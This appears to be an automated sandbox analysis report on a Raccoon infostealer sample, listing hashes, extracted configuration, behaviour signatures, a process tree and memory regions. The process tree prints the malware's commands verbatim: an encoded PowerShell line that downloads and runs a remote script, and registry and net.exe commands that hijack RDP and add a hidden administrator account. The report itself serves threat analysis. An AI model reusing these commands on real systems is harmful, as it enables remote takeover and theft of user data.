Analysis

  • max time kernel
    64s
  • max time network
    112s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    02-06-2021 17:28

General

  • Target

    16f8d65303b998ddec384ba2f9382ad8.exe

  • Size

    569KB

  • MD5

    16f8d65303b998ddec384ba2f9382ad8

  • SHA1

    0670a1f15e93fb73c82776c048c8e3df941f57ad

  • SHA256

    4e0cca88ac33e671cd7cc9689605b8830d03ad80e39e716516381499be1c906a

  • SHA512

    6b3e40d86193bfa0222295d5731ce9ed69e785f431beb557463951490d1934045b9b43a6ac86a869536b5483303812da9ad78058609740c5090a4b50c271c2de

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes
  • url4cnc

    https://tttttt.me/jdiamond13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\16f8d65303b998ddec384ba2f9382ad8.exe
    "C:\Users\Admin\AppData\Local\Temp\16f8d65303b998ddec384ba2f9382ad8.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:3424
    • C:\Users\Admin\AppData\Local\Temp\i1JKbCUHDu.exe
      "C:\Users\Admin\AppData\Local\Temp\i1JKbCUHDu.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:428
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2676
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oivafain\oivafain.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1928
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5DC5.tmp" "c:\Users\Admin\AppData\Local\Temp\oivafain\CSC44ECAA03BC464D8BBD8776C68DF7CA.TMP"
            5⤵
              PID:4064
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3748
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1480
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3720
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:3940
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:3876
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:1840
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:208
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:1752
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3864
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:684
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1464
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:2268
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3284
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3264
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3736
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:3136
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:3408
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:3568
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\16f8d65303b998ddec384ba2f9382ad8.exe"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2976
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:2144
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1480
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3904
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:1556
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc 2iRY27Ot /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3428
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc 2iRY27Ot /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:192
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc 2iRY27Ot /add
                          3⤵
                            PID:3424
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4044
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3864
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:1752
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3892
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3900
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:3980
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:956
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:2408
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:3428
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc 2iRY27Ot
                                1⤵
                                  PID:2604
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc 2iRY27Ot
                                    2⤵
                                      PID:3864
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc 2iRY27Ot
                                        3⤵
                                          PID:4044
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:3720
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                            PID:3876
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C wmic CPU get NAME
                                          1⤵
                                            PID:1312
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic CPU get NAME
                                              2⤵
                                                PID:956
                                            • C:\Windows\System32\cmd.exe
                                              cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              1⤵
                                                PID:1464
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                  2⤵
                                                    PID:4044
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                      3⤵
                                                      • Blocklisted process makes network request
                                                      • Drops file in Program Files directory
                                                      • Drops file in Windows directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:748
                                                • C:\Windows\System32\cmd.exe
                                                  cmd.exe /C net user wgautilacc 1234
                                                  1⤵
                                                    PID:956
                                                    • C:\Windows\system32\net.exe
                                                      net user wgautilacc 1234
                                                      2⤵
                                                        PID:512
                                                        • C:\Windows\system32\net1.exe
                                                          C:\Windows\system32\net1 user wgautilacc 1234
                                                          3⤵
                                                            PID:3888

                                                      Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • memory/428-129-0x00000191DF740000-0x00000191DF742000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/428-127-0x00000191DFB80000-0x00000191DFFA1000-memory.dmp

                                                        Filesize

                                                        4.1MB

                                                      • memory/428-132-0x00000191DF746000-0x00000191DF747000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/428-130-0x00000191DF743000-0x00000191DF745000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/428-131-0x00000191DF745000-0x00000191DF746000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/748-255-0x000001DDD40D0000-0x000001DDD40D2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/748-257-0x000001DDD40D6000-0x000001DDD40D8000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/748-258-0x000001DDD40D8000-0x000001DDD40D9000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/748-256-0x000001DDD40D3000-0x000001DDD40D5000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1480-217-0x00000194ED8A6000-0x00000194ED8A8000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1480-218-0x00000194ED8A8000-0x00000194ED8AA000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1480-214-0x00000194ED8A0000-0x00000194ED8A2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1480-215-0x00000194ED8A3000-0x00000194ED8A5000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2676-223-0x00000217B9F28000-0x00000217B9F29000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2676-165-0x00000217BA890000-0x00000217BA891000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2676-144-0x00000217B9F23000-0x00000217B9F25000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2676-138-0x00000217A0140000-0x00000217A0141000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2676-143-0x00000217B9F20000-0x00000217B9F22000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2676-141-0x00000217BA0B0000-0x00000217BA0B1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2676-157-0x00000217B9EF0000-0x00000217B9EF1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2676-164-0x00000217BA500000-0x00000217BA501000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2676-159-0x00000217B9F26000-0x00000217B9F28000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3424-115-0x0000000000400000-0x0000000000496000-memory.dmp

                                                        Filesize

                                                        600KB

                                                      • memory/3424-114-0x0000000002110000-0x00000000021A1000-memory.dmp

                                                        Filesize

                                                        580KB

                                                      • memory/3720-221-0x0000027177496000-0x0000027177498000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3720-219-0x0000027177490000-0x0000027177492000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3720-220-0x0000027177493000-0x0000027177495000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3720-222-0x0000027177498000-0x000002717749A000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3748-183-0x000002A529DD3000-0x000002A529DD5000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3748-182-0x000002A529DD0000-0x000002A529DD2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3748-202-0x000002A529DD6000-0x000002A529DD8000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3748-213-0x000002A529DD8000-0x000002A529DDA000-memory.dmp

                                                        Filesize

                                                        8KB